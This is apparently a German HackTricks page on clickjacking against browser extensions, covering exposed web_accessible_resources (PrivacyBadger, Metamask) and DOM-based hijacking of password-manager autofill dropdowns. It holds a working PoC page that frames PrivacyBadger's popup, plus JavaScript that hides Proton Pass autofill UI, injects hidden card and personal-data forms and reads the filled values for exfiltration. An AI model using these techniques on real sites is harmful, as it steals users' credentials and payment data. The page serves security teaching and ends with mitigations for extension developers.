BrowExt - ClickJacking

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Auf dieser Seite wird eine ClickJacking-Schwachstelle in einer Browser-Erweiterung ausgenutzt.
Wenn du nicht weißt, was ClickJacking ist, siehe:

Clickjacking

Erweiterungen enthalten die Datei manifest.json und diese JSON-Datei hat ein Feld web_accessible_resources. Folgendes schreiben the Chrome docs dazu:

Diese Ressourcen wären dann auf einer Webseite über die URL chrome-extension://[PACKAGE ID]/[PATH] verfügbar, die mit der extension.getURL method generiert werden kann. Allowlisted resources werden mit entsprechenden CORS-Headern ausgeliefert, sodass sie über Mechanismen wie XHR verfügbar sind.1

Die web_accessible_resources in einer Browser-Erweiterung sind nicht nur über das Web zugänglich; sie laufen auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben:

  • Den Zustand der Erweiterung ändern
  • Zusätzliche Ressourcen laden
  • In gewissem Umfang mit dem Browser interagieren

Diese Funktion stellt jedoch ein Sicherheitsrisiko dar. Wenn eine Ressource innerhalb von web_accessible_resources eine nennenswerte Funktionalität besitzt, könnte ein Angreifer diese Ressource in eine fremde Webseite einbetten. Arglose Nutzer, die diese Seite besuchen, könnten diese eingebettete Ressource unbeabsichtigt aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu ungewollten Folgen führen.

PrivacyBadger Beispiel

In der Erweiterung PrivacyBadger wurde eine Schwachstelle entdeckt, die damit zusammenhing, dass das Verzeichnis skin/ als web_accessible_resources deklariert war, und zwar wie folgt (siehe den originalen blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Diese Konfiguration führte zu einem potenziellen Sicherheitsproblem. Konkret konnte die Datei skin/popup.html, die beim Klicken auf das PrivacyBadger-Symbol im Browser gerendert wird, innerhalb eines iframe eingebettet werden. Diese Einbettung könnte ausgenutzt werden, um Benutzer dazu zu verleiten, versehentlich auf „PrivacyBadger für diese Website deaktivieren“ zu klicken. Eine solche Aktion würde die Privatsphäre des Benutzers gefährden, da der PrivacyBadger-Schutz deaktiviert würde und der Benutzer möglicherweise verstärktem Tracking ausgesetzt wäre. Eine visuelle Demonstration dieses Exploits ist in einem ClickJacking-Video-Beispiel unter https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm zu sehen.

Um diese Schwachstelle zu beheben, wurde eine einfache Lösung implementiert: das Entfernen von /skin/* aus der Liste der web_accessible_resources. Diese Änderung reduzierte das Risiko wirkungsvoll, indem sichergestellt wurde, dass der Inhalt des Verzeichnisses skin/ nicht über web_accessible_resources aufgerufen oder manipuliert werden kann.

Die Behebung war einfach: entfernen Sie /skin/* aus den web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Beispiel

Ein Blogbeitrag über eine ClickJacking in metamask findet sich hier. In diesem Fall hat Metamask die Schwachstelle behoben, indem geprüft wurde, dass das zum Zugriff verwendete Protokoll https: oder http: ist (nicht z. B. chrome:):

Eine weitere ClickJacking-Schwachstelle in der Metamask-Erweiterung war, dass Benutzer zum Whitelisten klicken konnten, wenn eine Seite aufgrund von “web_accessible_resources”: [“inpage.js”, “phishing.html”] als verdächtig für Phishing eingestuft wurde. Da diese Seite für Clickjacking anfällig war, konnte ein Angreifer sie missbrauchen, indem er etwas Harmloses anzeigte, das das Opfer dazu brachte, unbemerkt zum Whitelisten zu klicken, und dann zur Phishing-Seite zurückkehrte, die daraufhin auf die Whitelist gesetzt wurde.

Steam Inventory Helper Beispiel

Siehe folgende Seite, um zu sehen, wie ein XSS in einer Browser-Erweiterung mit einer ClickJacking-Schwachstelle verkettet wurde:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Klassisches extension clickjacking nutzt falsch konfigurierte web_accessible_resources, um privilegiertes HTML in ein iframe einzubetten und Benutzerklicks zu steuern. Eine neuere Klasse, DOM-based extension clickjacking, zielt auf die von Passwort-Managern direkt in das Seiten-DOM injizierten Autofill-Dropdowns und verwendet CSS/DOM-Tricks, um sie zu verbergen oder zu verdecken, während sie weiterhin klickbar bleiben. Ein erzwungener Klick kann ein gespeichertes Element auswählen und vom Angreifer kontrollierte Eingabefelder mit sensiblen Daten füllen.

Bedrohungsmodell

  • Angreifer kontrolliert eine Webseite (oder erreicht XSS/subdomain takeover/cache poisoning auf einer verwandten Domain).
  • Das Opfer hat eine Passwort-Manager-Erweiterung installiert und entsperrt (einige führen Autofill sogar, wenn sie nominal gesperrt sind).
  • Mindestens ein Benutzerklick wird induziert (überlagerte Cookie-Banner, Dialoge, CAPTCHAs, Spiele usw.).

Angriffsablauf (manuelles Autofill)

  1. Ein unsichtbares, aber fokussierbares Formular injizieren (Login/PII/Kreditkartenfelder).
  2. Ein Feld fokussieren, um das Autofill-Dropdown der Extension in der Nähe des Feldes aufzurufen.
  3. Die UI der Extension verbergen oder verdecken, während sie weiterhin interaktiv bleibt.
  4. Eine glaubwürdige Steuerung unter dem versteckten Dropdown ausrichten, um einen Klick zu erzwingen, der ein Element auswählt.
  5. Die ausgefüllten Werte aus dem Angreiferformular auslesen und exfiltrieren.

Wie man die Autofill-UI versteckt

  • Extension-Element
  • Deckkraft des Root-Elements (generisch):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Child innerhalb eines offenen ShadowRoot (dynamisches Tag, internes iframe verbergen):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • Elternelement
  • BODY/HTML opacity-Tricks, um die Erweiterungs-UI unsichtbar zu machen, während die Seite normal aussieht (z. B. als Screenshot-Hintergrund):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Überlagerung
  • Partielles Overlay: alles außer ein paar Pixeln verdecken, sodass das Dropdown weiterhin klickbar bleibt (sicherstellen, dass das Angreifer-Overlay als letztes im DOM mit maximalem z-index liegt, oder Top Layer verwenden).
  • Vollständiges Overlay unter Verwendung von pointer-events:none, sodass Klicks zum versteckten Dropdown durchgereicht werden; mit der Popover API persistent halten:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Positionierung des Klicks des Opfers

  • Fixed placement: platziere das versteckte Dropdown unter einem glaubwürdigen Steuerelement wie “Cookies akzeptieren”, “Schließen” oder einer CAPTCHA-Checkbox.
  • Follow-mouse: bewege das fokussierte Eingabefeld unter den Cursor, sodass das Dropdown ihm folgt; fokussiere es periodisch neu, sodass ein einzelner Klick irgendwo ein Element auswählt:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Auswirkungen und Szenarien

  • Attacker-controlled site: Ein erzwungener Klick kann Kreditkartendaten (Nummer/Ablauf/CVC) und persönliche Informationen (Name, E‑Mail, Telefon, Adresse, Geburtsdatum) exfiltrieren, die nicht auf eine Domain beschränkt sind.
  • Trusted site with XSS/subdomain takeover/cache poisoning: Mehrfachklick-Diebstahl von Zugangsdaten (Benutzername/Passwort) und TOTP, da viele Manager über verwandte Subdomains/übergeordnete Domains hinweg autofill durchführen (z. B. *.example.com).
  • Passkeys: Wenn der RP WebAuthn-Challenges nicht an die Session bindet, kann XSS die signierte Assertion abfangen; DOM-based clickjacking verbirgt die Passkey-Eingabeaufforderung, um den bestätigenden Klick des Nutzers zu erzwingen.

Einschränkungen

  • Erfordert mindestens einen Benutzerklick und eine präzise Pixelausrichtung (realistische Overlays erleichtern das Auslösen von Klicks).
  • Automatische Sperre/Abmeldung verkürzt die Zeitfenster für Exploits; einige Password-Manager füllen trotzdem weiterhin automatisch, während sie „locked“ sind.

Gegenmaßnahmen für Extension-Entwickler

  • Rendern Sie die Autofill-UI in der Top Layer (Popover API) oder sorgen Sie anderweitig dafür, dass sie oberhalb der Seitenstapelung sitzt; vermeiden Sie, dass sie von seitenkontrollierten Overlays verdeckt wird.
  • Gegen CSS-Manipulation: Bevorzugen Sie Closed Shadow DOM und überwachen Sie mit MutationObserver verdächtige Style-Änderungen an UI-Wurzeln.
  • Erkennen Sie feindliche Overlays vor dem Ausfüllen: listen Sie andere Top-Layer/Popover-Elemente auf, deaktivieren Sie vorübergehend pointer-events:none, und verwenden Sie elementsFromPoint() zur Erkennung von Überdeckungen; schließen Sie die UI, wenn Overlays vorhanden sind.
  • Erkennen Sie verdächtige Änderungen der opacity oder anderer Stile von <body>/<html> sowohl vor als auch nach dem Rendern.
  • Bei iframe-basierten Problemen: grenzen Sie MV3 web_accessible_resources matches eng ein und vermeiden Sie das Exponieren von HTML-UIs; für unvermeidliches HTML senden Sie X-Frame-Options: DENY oder Content-Security-Policy: frame-ancestors 'none'.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks